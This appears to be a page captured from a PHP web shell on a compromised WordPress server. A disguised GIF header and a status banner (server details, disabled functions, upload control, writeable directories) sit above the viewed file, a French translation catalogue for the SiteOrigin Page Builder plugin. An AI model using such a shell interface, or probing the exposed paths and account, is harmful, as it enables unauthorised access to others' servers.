GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/siteorigin-panels-fr_FR.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.5\n"
"Project-Id-Version: Page Builder\n"
"Language: fr\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"

#. After checking and fix all the translations; what should i do?
#: inc/admin-actions.php:80
msgid "No description"
msgstr "Pas de description"

#. A prebuilt layout is essentially a complete visual layout that was pre created.
#: inc/admin-actions.php:89
msgid "Your theme doesn't have any prebuilt layouts."
msgstr "Votre thème n'a pas de mises en page prédéfinies."

#: inc/admin-actions.php:90
msgid "You can still clone existing pages though."
msgstr "Vous pouvez toujours cloner les pages existantes."

#: inc/admin-actions.php:123
msgid "Clone"
msgstr "Cloner"

#: inc/admin-actions.php:141
msgid "There are no %s with Page Builder content to clone."
msgstr "Il n'y a pas %s avec le contenu de Page Builder  à cloner."

#: inc/default-styles.php:57
msgid "Row Class"
msgstr "Classe de  cette rangée"

#. A CSS class is something to describe an HTML element.
#: inc/default-styles.php:60 inc/default-styles.php:165
msgid "A CSS class"
msgstr "Classe CSS"

#: inc/default-styles.php:65
msgid "Cell Class"
msgstr "Classe de Cellule"

#: inc/default-styles.php:68
msgid "Class added to all cells in this row."
msgstr "Class ajoutée à toutes les cellules de cette rangée"

#: inc/default-styles.php:73 inc/default-styles.php:170
msgid "CSS Styles"
msgstr "Styles CSS"

#: inc/default-styles.php:76 inc/default-styles.php:173
msgid "CSS Styles, given as one per row."
msgstr "Styles CSS, remplir un style par rangée."

#. The amount of spacing below a row. This comes from the concept of a text margin.
#: inc/default-styles.php:83
msgid "Bottom Margin"
msgstr "Marge inférieure"

#: inc/default-styles.php:86
msgid "Space below the row."
msgstr "Espace sous la rangée."

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: inc/default-styles.php:91
msgid "Gutter"
msgstr "Gouttière"

#: inc/default-styles.php:94
msgid "Amount of space between columns."
msgstr "Dimension de l'espace entre les colonnes."

#. This is essentially the amount of padding, or amount of space around a widget or row.
#: inc/default-styles.php:99 inc/default-styles.php:178
msgid "Padding"
msgstr "Rembourrage"

#: inc/default-styles.php:102
msgid "Padding around the entire row."
msgstr "Rembourrage autour de la rangée."

#: inc/default-styles.php:107
msgid "Row Layout"
msgstr "Mise en ligne"

#: inc/default-styles.php:111
msgid "Standard"
msgstr "Standard"

#: inc/default-styles.php:112
msgid "Full Width"
msgstr "Pleine largeur"

#. This means the row is displayed the full width of the page and the content is also stretched.
#: inc/default-styles.php:113
msgid "Full Width Stretched"
msgstr "La Largeur pleine a Étiré "

#: inc/default-styles.php:121 inc/default-styles.php:188
msgid "Background Color"
msgstr "Couleur d'arrière-plan"

#: inc/default-styles.php:124
msgid "Background color of the row."
msgstr "Couleur d'arrière-plan de la rangée."

#: inc/default-styles.php:129 inc/default-styles.php:196
msgid "Background Image"
msgstr "Image d'arrière-plan"

#: inc/default-styles.php:132
msgid "Background image of the row."
msgstr "Image d'arrière-plan de la rangée."

#: inc/default-styles.php:137 inc/default-styles.php:204
msgid "Background Image Display"
msgstr "Affichage de l'image d'arrière-plan"

#: inc/default-styles.php:141 inc/default-styles.php:208
msgid "Tiled Image"
msgstr "Image en mosaïque"

#: inc/default-styles.php:142 inc/default-styles.php:209
msgid "Cover"
msgstr "Couverture"

#: inc/default-styles.php:143 inc/default-styles.php:210
msgid "Centered, with original size"
msgstr "Centré, avec la taille originale"

#: inc/default-styles.php:145 inc/default-styles.php:212
msgid "How the background image is displayed."
msgstr "Comment l'image d'arrière-plan est affiché."

#: inc/default-styles.php:150 inc/default-styles.php:217
msgid "Border Color"
msgstr "Couleur de la bordure"

#: inc/default-styles.php:153
msgid "Border color of the row."
msgstr "Couleur de la bordure de la rangée."

#: inc/default-styles.php:162
msgid "Widget Class"
msgstr "Classe du widget"

#: inc/default-styles.php:181
msgid "Padding around the entire widget."
msgstr "Rembourrage autour du widget entier."

#: inc/default-styles.php:191
msgid "Background color of the widget."
msgstr "La couleur d'arrière-plan du widget."

#: inc/default-styles.php:199
msgid "Background image of the widget."
msgstr "Image d'arrière-plan du widget."

#: inc/default-styles.php:220
msgid "Border color of the widget."
msgstr "Couleur de la bordure du widget."

#: inc/default-styles.php:225
msgid "Font Color"
msgstr "Couleur de la police"

#: inc/default-styles.php:228
msgid "Color of text inside this widget."
msgstr "Couleur du texte à l'intérieur de ce widget."

#: inc/plugin-activation.php:7 inc/plugin-activation.php:8
msgid "Install Page Builder Plugin"
msgstr "Installer le plugin Page Builder."

#: inc/plugin-activation.php:74
msgid "Installing %s"
msgstr "Installation %s"

#: inc/revisions.php:50
msgid "Page Builder Content"
msgstr "Contenu de Page Builder"

#: inc/styles.php:16
msgid "Row Styles"
msgstr "Styles de la ligne "

#: inc/styles.php:20
msgid "Widget Styles"
msgstr "Styles du widget"

#: inc/styles.php:42
msgid "Attributes"
msgstr "Attributs"

#: inc/styles.php:46 settings/settings.php:225
msgid "Layout"
msgstr "Disposition"

#: inc/styles.php:50
msgid "Design"
msgstr "Design"

#: inc/styles.php:60
msgid "Theme"
msgstr "Thème"

#: inc/styles.php:179
msgid "Select Image"
msgstr "Sélectionner l'image"

#: inc/styles.php:183
msgid "Remove"
msgstr "Supprimer"

#: inc/styles.php:197 settings/settings.php:313
msgid "Enabled"
msgstr "Activé"

#: inc/widgets-bundle.php:7
msgid "SiteOrigin Button"
msgstr "Bouton SiteOrigin"

#: inc/widgets-bundle.php:8 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "Un simple bouton"

#: inc/widgets-bundle.php:11 inc/widgets-bundle.php:23
#: inc/widgets-bundle.php:35 inc/widgets-bundle.php:47
#: inc/widgets-bundle.php:59 inc/widgets.php:126
msgid "SiteOrigin Widgets Bundle"
msgstr "Pack de widgets SiteOrigin"

#: inc/widgets-bundle.php:19
msgid "SiteOrigin Image"
msgstr "image SiteOrigin"

#: inc/widgets-bundle.php:20
msgid "Choose images from your media library."
msgstr "Choisissez des images à partir de votre bibliothèque de médias."

#: inc/widgets-bundle.php:31
msgid "SiteOrigin Slider"
msgstr "Slider SiteOrigin"

#: inc/widgets-bundle.php:32
msgid "A basic slider widget."
msgstr "Un widget de slider de base"

#: inc/widgets-bundle.php:43
msgid "SiteOrigin Features"
msgstr "Caractéristiques de SiteOrigin"

#: inc/widgets-bundle.php:44
msgid "Display site features as a collection of icons."
msgstr "Afficher les caracteristiques du site comme un ensemble d'icônes."

#: inc/widgets-bundle.php:55
msgid "SiteOrigin Post Carousel"
msgstr "Carousel d'articles SiteOrigin"

#: inc/widgets-bundle.php:56
msgid "Display your posts as a carousel."
msgstr "Affichez vos articles comme un carrousel"

#: inc/widgets.php:17
msgid "Visual Editor"
msgstr "Editeur Visuel"

#: inc/widgets.php:18
msgid "Arbitrary text or HTML with visual editor"
msgstr "Texte arbitraire ou HTML avec l'éditeur visuel"

#: inc/widgets.php:21
msgid "Black Studio TinyMCE"
msgstr "Black Studio TinyMCE"

#: inc/widgets.php:102
msgid "Widgets Bundle"
msgstr "Pack de Widgets"

#: inc/widgets.php:132
msgid "Page Builder Widgets"
msgstr "Widgets de Page Builder"

#: inc/widgets.php:148
msgid "WordPress Widgets"
msgstr "Widgets de WordPress"

#: inc/widgets.php:158
msgid "WooCommerce"
msgstr "WooCommerce"

#: inc/widgets.php:169
msgid "Jetpack"
msgstr "Jetpack"

#: inc/widgets.php:180
msgid "BBPress"
msgstr "BBPress"

#: inc/widgets.php:188 settings/settings.php:218
msgid "Recommended Widgets"
msgstr "Widgets recommandés"

#: settings/settings.php:146 settings/tpl/settings.php:9 tpl/options.php:5
msgid "SiteOrigin Page Builder"
msgstr "SiteOrigin Page Builder"

#: settings/settings.php:146 siteorigin-panels.php:108
#: siteorigin-panels.php:467 tpl/js-templates.php:160
msgid "Page Builder"
msgstr "Page Builder"

#: settings/settings.php:170
msgid "Page Builder Settings"
msgstr "Paramètres de Page Builder"

#: settings/settings.php:186 tpl/options.php:11
msgid "General"
msgstr "Général"

#: settings/settings.php:192 tpl/options.php:15
msgid "Post Types"
msgstr "Types d'articles"

#: settings/settings.php:194
msgid "The post types to use Page Builder on."
msgstr "Les types d'articles sur lesquels sont appliqués Page Builder."

#: settings/settings.php:200
msgid "Widgets"
msgstr "Widgets"

#: settings/settings.php:206
msgid "Widget Title HTML"
msgstr "Titre de widget HTML"

#. Something I forgot to mention is that for this string "{{title}}" shouldn't be translated. The rest of the string can be, but that one part needs to remain as is.
#: settings/settings.php:207
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr "Le code HTML utilisé pour les titres de widgets. {{title}} est remplacé par le titre du widget."

#: settings/settings.php:212
msgid "Legacy Bundled Widgets"
msgstr "Pack de Widgets Heritage (Legacy)"

#: settings/settings.php:213
msgid "Load legacy widgets from Page Builder 1."
msgstr "Charger les widgets Heritage (Legacy) depuis Page Builder 1."

#: settings/settings.php:219
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr "Afficher les widgets recommandés dans la boîte de dialogue ajouter widget de Page Builder"

#: settings/settings.php:233 tpl/options.php:57
msgid "Responsive Layout"
msgstr "Disposition Responsive"

#: settings/settings.php:234
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "Réduire widgets, lignes et  colonnes sur les appareils mobiles."

#: settings/settings.php:240 tpl/options.php:64
msgid "Mobile Width"
msgstr "Largeur mobile"

#: settings/settings.php:241
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "Largeur de l'ecran, en pixels, à laquelle reduire dans une vue Mobile."

#: settings/settings.php:247 tpl/options.php:70
msgid "Row Bottom Margin"
msgstr "Marge en bas de ligne"

#: settings/settings.php:248
msgid "Default margin below rows."
msgstr "Marge par défaut sous les rangées."

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: settings/settings.php:254
msgid "Row Gutter"
msgstr "Goutiere de la rangée"

#: settings/settings.php:255
msgid "Default spacing between columns in each row."
msgstr "L'espacement par défaut entre les colonnes dans chaque rangée."

#. In this context, the container is an HTML container or wrapper.
#: settings/settings.php:261
msgid "Full Width Container"
msgstr "Pleine largeur du conteneur"

#: settings/settings.php:262
msgid "The container used for the full width layout."
msgstr "Le conteneur utilisé pour la mise en page en pleine largeur."

#: settings/settings.php:269
msgid "Content"
msgstr "Contenu"

#: settings/settings.php:275 tpl/options.php:25
msgid "Copy Content"
msgstr "Copier le contenu"

#: settings/settings.php:276
msgid "Copy content from Page Builder to post content."
msgstr "Copier le contenu depuis Page Builder vers le contenu de la page"

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "Paramètres de recherche"

#: settings/tpl/settings.php:29
msgid "Settings Saved"
msgstr "Paramètres enregistrés"

#: settings/tpl/settings.php:78 tpl/options.php:93
msgid "Save Settings"
msgstr "Enregistrer les paramètres"

#: siteorigin-panels.php:73
msgid "Custom Home Page Builder"
msgstr "Page d'accueil Page Builder personnalisée"

#: siteorigin-panels.php:74 siteorigin-panels.php:140
msgid "Home Page"
msgstr "Page d'acceuil"

#: siteorigin-panels.php:263
msgid "All Widgets"
msgstr "Tous les widgets"

#: siteorigin-panels.php:274
msgid "Missing Widget"
msgstr "Widgets manquants"

#: siteorigin-panels.php:275
msgid "Page Builder doesn't know about this widget."
msgstr "Page Builder ne connaît pas ce widget."

#: siteorigin-panels.php:279
msgid "%d seconds"
msgstr "%d secondes"

#: siteorigin-panels.php:281
msgid "%d minutes"
msgstr "%d minutes"

#: siteorigin-panels.php:283
msgid "%d hours"
msgstr "%d heures"

#: siteorigin-panels.php:286
msgid "%d second"
msgstr "%d secondes"

#: siteorigin-panels.php:288
msgid "%d minute"
msgstr "%d minute"

#: siteorigin-panels.php:290
msgid "%d hour"
msgstr "%d heure"

#: siteorigin-panels.php:293
msgid "%s before"
msgstr "%s avant"

#: siteorigin-panels.php:294
msgid "Now"
msgstr "Maintenant"

#: siteorigin-panels.php:298
msgid "Current"
msgstr "Courant"

#: siteorigin-panels.php:299
msgid "Original"
msgstr "Original"

#: siteorigin-panels.php:300
msgid "Version restored"
msgstr "Version restaurée"

#: siteorigin-panels.php:304
msgid "Widget deleted"
msgstr "Widget supprimé"

#: siteorigin-panels.php:306
msgid "Widget added"
msgstr "Widget ajouté"

#: siteorigin-panels.php:308
msgid "Widget edited"
msgstr "Widget édité"

#: siteorigin-panels.php:310
msgid "Widget duplicated"
msgstr "Widget dupliqué"

#: siteorigin-panels.php:312
msgid "Widget moved"
msgstr "Widget déplacé"

#: siteorigin-panels.php:316
msgid "Row deleted"
msgstr "Rangée supprimée"

#: siteorigin-panels.php:318
msgid "Row added"
msgstr "Rangée  ajoutée"

#: siteorigin-panels.php:320
msgid "Row edited"
msgstr "Rangée  éditée"

#: siteorigin-panels.php:322
msgid "Row moved"
msgstr "Rangée déplacée"

#: siteorigin-panels.php:324
msgid "Row duplicated"
msgstr "Rangée  dupliquée"

#: siteorigin-panels.php:327
msgid "Cell resized"
msgstr "Cellule redimensionnée"

#: siteorigin-panels.php:330
msgid "Prebuilt layout loaded"
msgstr "Mise en page predefinie chargée"

#: siteorigin-panels.php:334
msgid "Are you sure you want to overwrite your current content? This can be undone in the builder history."
msgstr "Etes-vous sûr de vouloir remplacer votre contenu actuel? Cela peut être annulée dans l'historique du Builder."

#: siteorigin-panels.php:335
msgid "Loading prebuilt layout"
msgstr "Chargement de la mise en page prédéfinie"

#: siteorigin-panels.php:336
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr "Voulez-vous copier le contenu existant de cet éditeur vers Page Builder?"

#: siteorigin-panels.php:337
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr "Voulez-vous effacer votre contenu de Page Builder et revenir à l'utilisation de l'éditeur visuel?"

#: siteorigin-panels.php:339
msgid "Layout Builder Widget"
msgstr "Widget Mise en Page Builder"

#: siteorigin-panels.php:341 tpl/js-templates.php:85
msgid "Are you sure?"
msgstr "Etes-vous sûr?"

#: siteorigin-panels.php:348
msgid "Page Builder layouts"
msgstr "Mise en page Page Builder"

#: siteorigin-panels.php:349
msgid "Error uploading or importing file."
msgstr "Erreur lors du téléversement ou de l'importation du fichier."

#: siteorigin-panels.php:395
msgid "Untitled Widget"
msgstr "Widget sans titre."

#: siteorigin-panels.php:1140
msgid "Edit Home Page"
msgstr "Modifier la page d'accueil"

#: siteorigin-panels.php:1237
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "Sauvegarder et recharger cette page pour commencer à utiliser le widget après l'avoir installé."

#: siteorigin-panels.php:1321
msgid "Support Forum"
msgstr "Forum d'aide."

#: siteorigin-panels.php:1322
msgid "Newsletter"
msgstr "Bulletin d'information"

#: tpl/admin-home-page.php:9
msgid "On"
msgstr "Activé"

#: tpl/admin-home-page.php:9
msgid "Off"
msgstr "Desactivé"

#: tpl/admin-home-page.php:13
msgid "Custom Home Page"
msgstr "Page d'accueil personnalisée"

#: tpl/admin-home-page.php:45
msgid "Save Home Page"
msgstr "Enregistrer la page d'accueil"

#: tpl/admin-home-page.php:49
msgid "This interface requires Javascript"
msgstr "Cette interface nécessite Javascript"

#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "Vous pouvez utiliser SiteOrigin Page Builder pour créer la page d'acceuil et d'autres pages, insérer vos propres widgets."

#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "Les mises en page sont réactives et entièrement personnalisables."

#: tpl/js-templates.php:12
msgid "Add Widget"
msgstr "Ajouter un widget"

#: tpl/js-templates.php:17
msgid "Add Row"
msgstr "Ajouter une rangée"

#: tpl/js-templates.php:22
msgid "Prebuilt"
msgstr "Prédéfini"

#: tpl/js-templates.php:29
msgid "History"
msgstr "Histoirique"

#: tpl/js-templates.php:34
msgid "Live Editor"
msgstr "Éditeur"

#: tpl/js-templates.php:39
msgid "Switch to Editor"
msgstr "Passez à l'éditeur"

#: tpl/js-templates.php:83 tpl/js-templates.php:256
msgid "Edit Row"
msgstr "Modifier la rangée"

#: tpl/js-templates.php:84
msgid "Duplicate Row"
msgstr "Dupliquer la rangée"

#: tpl/js-templates.php:85
msgid "Delete Row"
msgstr "Supprimer la rangée"

#: tpl/js-templates.php:113
msgid "Edit"
msgstr "Éditer"

#: tpl/js-templates.php:114 tpl/js-templates.php:231 tpl/js-templates.php:322
msgid "Duplicate"
msgstr "Dupliquer"

#: tpl/js-templates.php:115 tpl/js-templates.php:230 tpl/js-templates.php:321
msgid "Delete"
msgstr "Supprimer"

#: tpl/js-templates.php:169 tpl/js-templates.php:234
msgid "Done"
msgstr "Terminé"

#: tpl/js-templates.php:183
msgid "Add New Widget %s"
msgstr "Ajouter un nouveau widget %s"

#: tpl/js-templates.php:187
msgid "Search Widgets"
msgstr "Rechercher des widgets"

#: tpl/js-templates.php:199
msgid "Close"
msgstr "Fermer"

#: tpl/js-templates.php:254
msgid "Add New Row"
msgstr "Ajouter une nouvelle ligne"

#: tpl/js-templates.php:290
msgid "Left to Right"
msgstr "De gauche à droite"

#: tpl/js-templates.php:291
msgid "Right to Left"
msgstr "De droite à gauche"

#: tpl/js-templates.php:308
msgid "Set"
msgstr "Fixé"

#: tpl/js-templates.php:327
msgid "Insert"
msgstr "Insérer"

#: tpl/js-templates.php:329
msgid "Save"
msgstr "Enregistrer"

#: tpl/js-templates.php:347
msgid "Prebuilt Layouts"
msgstr "Mise en page prédéfinis"

#: tpl/js-templates.php:351
msgid "Search"
msgstr "Rechercher"

#: tpl/js-templates.php:354
msgid "Theme Defined"
msgstr "Thème défini"

#: tpl/js-templates.php:355
msgid "Import/Export"
msgstr "Importer/Exporter"

#: tpl/js-templates.php:361
msgid "Clone: %s"
msgstr "Clone:%s"

#: tpl/js-templates.php:382
msgid "Drop import file here"
msgstr "Déposez le fichier d'importation ici"

#: tpl/js-templates.php:383
msgid "Or"
msgstr "Ou"

#: tpl/js-templates.php:386
msgid "Select Import File"
msgstr "Sélectionnez le fichier à importer"

#: tpl/js-templates.php:398
msgid "Download Layout"
msgstr "Télécharger la mise en page"

#: tpl/js-templates.php:419
msgid "Page Builder Change History"
msgstr "Historique des modifications Page Builder"

#: tpl/js-templates.php:433
msgid "Restore Version"
msgstr "Restaurer version"

#: tpl/js-templates.php:458
msgid "Close Live Editor"
msgstr "Fermer l'éditeur"

#: tpl/options.php:26
msgid "Copy content from Page Builder into the standard content editor."
msgstr "Copier le contenu de Page Builder dans l'éditeur de contenu standard."

#: tpl/options.php:32
msgid "Animations"
msgstr "Animations"

#: tpl/options.php:33
msgid "Disable animations for improved performance."
msgstr "Désactiver les animations pour améliorer les performances."

#: tpl/options.php:39
msgid "Bundled Widgets"
msgstr "Widgets groupés."

#: tpl/options.php:40
msgid "Include the bundled widgets."
msgstr "Inclure les widgets groupés."

#: tpl/options.php:48
msgid "Display"
msgstr "Affichage"

#: tpl/options.php:58
msgid "Should the layout collapse for mobile devices."
msgstr "Est ce que la mise en page doit se reduire pour les appareils mobiles."

#: tpl/options.php:76
msgid "Cell Side Margins"
msgstr "Marges des bords de cellule"

#: tpl/options.php:82
msgid "Inline CSS"
msgstr "CSS incorporée"

#: widgets/basic.php:13
msgid "Layout Builder"
msgstr "Mise en page Builder"

#: widgets/basic.php:53
msgid "Open Builder"
msgstr "Ouvrir le Builder"

#: widgets/basic.php:82
msgid "Post Content"
msgstr "Publier le contenu"

#: widgets/basic.php:84
#, fuzzy
msgid "Displays content from the current post."
msgstr "Affiche une certaine forme de contenu depuis le post actuel"

#: widgets/basic.php:130 widgets/basic.php:427 widgets/widgets.php:589
#: widgets/widgets.php:764
msgid "None"
msgstr "Aucun"

#: widgets/basic.php:131 widgets/basic.php:355
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/list/list.php:15 widgets/widgets/price-box/price-box.php:15
msgid "Title"
msgstr "Titre"

#: widgets/basic.php:132
msgid "Featured Image"
msgstr "Photo descriptive"

#: widgets/basic.php:137
msgid "Display Content"
msgstr "Afficher le contenu"

#: widgets/basic.php:157
msgid "Post Loop"
msgstr "Boucle d'articles"

#: widgets/basic.php:159
#, fuzzy
msgid "Displays a post loop."
msgstr "Affiche une boucle d'articles."

#: widgets/basic.php:349
msgid "Your theme doesn't have any post loops."
msgstr "Votre thème n'a pas de boucles d'articles."

#: widgets/basic.php:359
msgid "Template"
msgstr "Modèle"

#: widgets/basic.php:375
msgid "More Link "
msgstr "Lien \"voir plus\""

#: widgets/basic.php:377
msgid "If the template supports it, cut posts and display the more link."
msgstr "Si le modèle le prend en charge, couper les articles et afficher le lien \"voir plus\""

#: widgets/basic.php:411 widgets/widgets.php:575
msgid "Post Type"
msgstr "Type d'article"

#: widgets/basic.php:420 widgets/widgets.php:582
msgid "Posts Per Page"
msgstr "Article par page"

#: widgets/basic.php:425 widgets/widgets.php:587
msgid "Order By"
msgstr "Trier par"

#: widgets/basic.php:428 widgets/widgets.php:590
msgid "Post ID"
msgstr "Article ID"

#: widgets/basic.php:429 widgets/widgets.php:591
msgid "Author"
msgstr "Auteur"

#: widgets/basic.php:430 widgets/basic.php:431 widgets/widgets.php:592
#: widgets/widgets.php:593 widgets/widgets/testimonial/testimonial.php:15
msgid "Name"
msgstr "Nom"

#: widgets/basic.php:432 widgets/widgets.php:594
msgid "Date"
msgstr "Date"

#: widgets/basic.php:433 widgets/widgets.php:595
msgid "Modified"
msgstr "Modifié"

#: widgets/basic.php:434 widgets/widgets.php:596
msgid "Parent"
msgstr "Parent"

#: widgets/basic.php:435 widgets/widgets.php:597
msgid "Random"
msgstr "Aléatoire"

#: widgets/basic.php:436 widgets/widgets.php:598
msgid "Comment Count"
msgstr "Nombre de commentaires"

#: widgets/basic.php:437 widgets/basic.php:438 widgets/widgets.php:599
msgid "Menu Order"
msgstr "Ordre du menu"

#: widgets/basic.php:439
msgid "Post In Order"
msgstr "Article dans l'ordre"

#: widgets/basic.php:444 widgets/widgets.php:605
msgid "Order"
msgstr "Ordre"

#: widgets/basic.php:446 widgets/widgets.php:608
msgid "Descending"
msgstr "Descendant"

#: widgets/basic.php:447 widgets/widgets.php:607
msgid "Ascending"
msgstr "Ascendant"

#: widgets/basic.php:452 widgets/widgets.php:614
msgid "Sticky Posts"
msgstr "messages collantes"

#: widgets/basic.php:454 widgets/widgets.php:616 widgets/widgets.php:738
msgid "Default"
msgstr "Par défaut"

#: widgets/basic.php:455 widgets/widgets.php:617
msgid "Ignore Sticky"
msgstr "Ignorer Post-it"

#: widgets/basic.php:456 widgets/widgets.php:618
msgid "Exclude Sticky"
msgstr "Exclure Post-it"

#: widgets/basic.php:457 widgets/widgets.php:619
msgid "Only Sticky"
msgstr "Seulement Post-it"

#: widgets/basic.php:462
msgid "Additional "
msgstr "Supplémentaire"

#: widgets/widgets.php:204
msgid "Style"
msgstr "Style"

#: widgets/widgets.php:228
msgid "%s Style"
msgstr "%s Style"

#: widgets/widgets.php:625
msgid "Additional Arguments"
msgstr "Arguments supplémentaires"

#: widgets/widgets.php:686
msgid "Gallery (PB)"
msgstr "Galerie (PB)"

#: widgets/widgets.php:688
msgid "Displays a gallery."
msgstr "Affiche une galerie."

#: widgets/widgets.php:727
msgid "Gallery Images"
msgstr "Galerie d'images"

#: widgets/widgets.php:728
msgid "edit gallery"
msgstr "Édition de la galerie"

#: widgets/widgets.php:732
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "IDs séparées par des virgules.Cela s'applique à tous les attachements actuels de la page."

#: widgets/widgets.php:736
msgid "Image Size"
msgstr "Taille de l'image"

#: widgets/widgets.php:739
msgid "Large"
msgstr "Grand"

#: widgets/widgets.php:740
msgid "Medium"
msgstr "Moyen"

#: widgets/widgets.php:741
msgid "Thumbnail"
msgstr "Miniature"

#: widgets/widgets.php:742
msgid "Full"
msgstr "Plein"

#: widgets/widgets.php:750
msgid "Gallery Type"
msgstr "Type de Galerie."

#: widgets/widgets.php:755
msgid "Columns"
msgstr "Colonnes"

#: widgets/widgets.php:760
msgid "Link To"
msgstr "Lié à"

#: widgets/widgets.php:762
msgid "Attachment Page"
msgstr "Page en attachement"

#: widgets/widgets.php:763
msgid "File"
msgstr "Fichier"

#: widgets/widgets.php:781
msgid "Image (PB)"
msgstr "Image (PB)"

#: widgets/widgets.php:783
msgid "Displays a simple image."
msgstr "Affiche une image simple."

#: widgets/widgets.php:816
#: widgets/widgets/animated-image/animated-image.php:15
msgid "Image URL"
msgstr "URL de l'image"

#: widgets/widgets.php:820 widgets/widgets/button/button.php:19
msgid "Destination URL"
msgstr "URL de destination"

#: widgets/widgets.php:834
msgid "Embedded Video (PB)"
msgstr "Vidéo intégrée (PB)"

#: widgets/widgets.php:836
msgid "Embeds a video."
msgstr "Intègre une vidéo."

#: widgets/widgets.php:874
msgid "Video"
msgstr "Vidéo"

#: widgets/widgets.php:890
msgid "Self Hosted Video (PB)"
msgstr "Video hébergée (PB)"

#: widgets/widgets.php:892
msgid "A self hosted video player."
msgstr "Un lecteur vidéo hébergé."

#: widgets/widgets.php:934
msgid "Video URL"
msgstr "URL de la vidéo"

#: widgets/widgets.php:938
msgid "Poster URL"
msgstr "URL de l'affiche"

#: widgets/widgets.php:940
msgid "An image that displays before the video starts playing."
msgstr "Une image qui se affiche avant que la vidéo commence à jouer."

#: widgets/widgets.php:945
msgid "Auto Play Video"
msgstr "Vidéo à démarrage automatique"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "Image animée (PB)"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "Une image qui s'anime quand elle arrive à l'écran."

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "Animation"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "Fondu d'entrée"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "Glisse vers le haut"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "Glisse vers le bas"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
msgstr "Glisse vers la gauche"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "Glisse vers la droite"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "Bouton (PB)"

#: widgets/widgets/button/button.php:15 widgets/widgets/list/list.php:19
#: widgets/widgets/testimonial/testimonial.php:27
msgid "Text"
msgstr "Texte"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
#: widgets/widgets/testimonial/testimonial.php:36
msgid "Open In New Window"
msgstr "Ouvre dans une nouvelle fenêtre"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "Alignement du bouton"

#: widgets/widgets/button/button.php:29
msgid "Left"
msgstr "Gauche"

#: widgets/widgets/button/button.php:30
msgid "Right"
msgstr "Droite"

#: widgets/widgets/button/button.php:31
msgid "Center"
msgstr "Centre"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "Justifié"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "Appel à l'action (PB)"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "Un appel à bloquer l'action"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "Sous-titre"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "Bouton texte"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "Bouton URL"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "Bouton"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr "Liste (PB)"

#: widgets/widgets/list/list.php:8 widgets/widgets/price-box/price-box.php:8
msgid "Displays a bullet list of elements"
msgstr "Affiche une liste à puces d'éléments"

#: widgets/widgets/list/list.php:20 widgets/widgets/price-box/price-box.php:32
msgid "Start each new point with an asterisk (*)"
msgstr "Commencez chaque nouveau point par un astérisque (*)"

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr "Boîte de prix (PB)"

#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr "Prix"

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr "Par"

#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr "Texte d'information"

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr "Texte de caractéristiques"

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr "Liste des fonctionnalités"

#: widgets/widgets/testimonial/testimonial.php:6
msgid "Testimonial (PB)"
